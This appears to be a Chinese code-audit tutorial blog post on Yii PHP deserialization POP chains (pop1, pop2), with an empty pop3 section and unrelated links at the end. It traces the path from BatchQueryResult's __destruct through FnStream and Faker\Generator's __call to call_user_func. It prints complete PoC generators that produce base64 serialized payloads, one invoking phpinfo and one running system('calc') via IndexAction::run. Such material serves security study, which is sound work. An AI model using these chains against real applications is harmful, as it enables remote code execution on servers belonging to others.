当前位置: 首页 > news >正文

DAY112代码审计PHP开发框架POP链利用Yii反序列化POP利用链

一、pop1链的跟踪

1、路由关系

2、漏洞触发口unserialize(base64_decode($data));

2、__destruct(),魔术法方法调用close函数方法

3、未找到利用链,尝试__call魔术方法

4、逆推找call_user_func

函数

第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
_dataReader=new FnStream();
第二部分
return call_user_func($this->_fn_close);
$_fn_close="phpinfo"
Poc链
<?php
//链子逆向这写
namespace GuzzleHttp\Psr7{class FnStream{var $_fn_close = "phpinfo";}
}namespace yii\db{use GuzzleHttp\Psr7\FnStream;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new FnStream();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

5、动态调试

二、pop2链利用分析

1、跟踪call魔术方法到format

format

call_user_func_array($this->getFormatter($formatter), $arguments);

第一个参数可控

2、调用run方法

$this->checkAccess, $this->id,控制这两个参数

第一部分

namespace yii\db;

class BatchQueryResult

__destruct()

$this->reset();

$this->_dataReader->close();

第二部分

__call()

$this->format($method, $attributes)

return call_user_func_array($this->getFormatter($formatter), $arguments);

第三部分

call_user_func()函数方法找到run

Poc:
<?php
//链子逆向这写
namespace yii\rest{//对参数checkAccess,id控制rceclass IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'calc';          //命令执行}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){//最核心的地方$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

三、pop3利用链


http://www.mrgr.cn/news/74720.html

相关文章:

  • python共享全局变量的方案
  • 一个win32 / WTL下多线程库(CThread类)的使用心得
  • 初始化mysql5.7
  • vue内置方法总结
  • docker进行SRS直播服务器搭建
  • 【AI工作流】FastGPT - 深入解析FastGPT工作流编排:从基础到高级应用的全面指南
  • NocoBase 本周更新汇总:提升工作流易用性
  • C/C++精品项目之图床共享云存储(3):网络缓冲区类和main
  • 「媒体邀约」科技类企业如何利用媒体专访提升品牌知名度
  • Vuex vs Pinia:新一代Vue状态管理方案对比
  • IDEA2024:右下角显示内存
  • 苹果APNs消息推送
  • HO-PEG-MACA中PEG的修饰使其提高了稳定性,有助于其在各种溶剂中保持稳定的性能。
  • ESP32-S3模组上跑通esp32-camera(16)
  • 基于51单片机的高压蒸汽灭菌自动控制器proteus仿真
  • 远程踏勘系统(源码+文档+部署+讲解)
  • 浅谈C#之多线程流式适配器
  • 返校宣讲活动总结记录
  • cesium特效扩散圆
  • springboot濒危野生植物信息管理系统-计算机毕业设计源码06463
  • 使用Python实现对接Hadoop集群(通过Hive)并提供API接口
  • 丹摩征文活动|Llama3.1:零障碍部署,尽享无忧使用!
  • 鸿蒙学习基本概念
  • 【go从零单排】Spawning Processes 、Exec‘ing Processes
  • 01、Spring MVC入门程序
  • 室内定位论文精华-无人机与机器人在地下与室内环境中的自主导航与定位新技术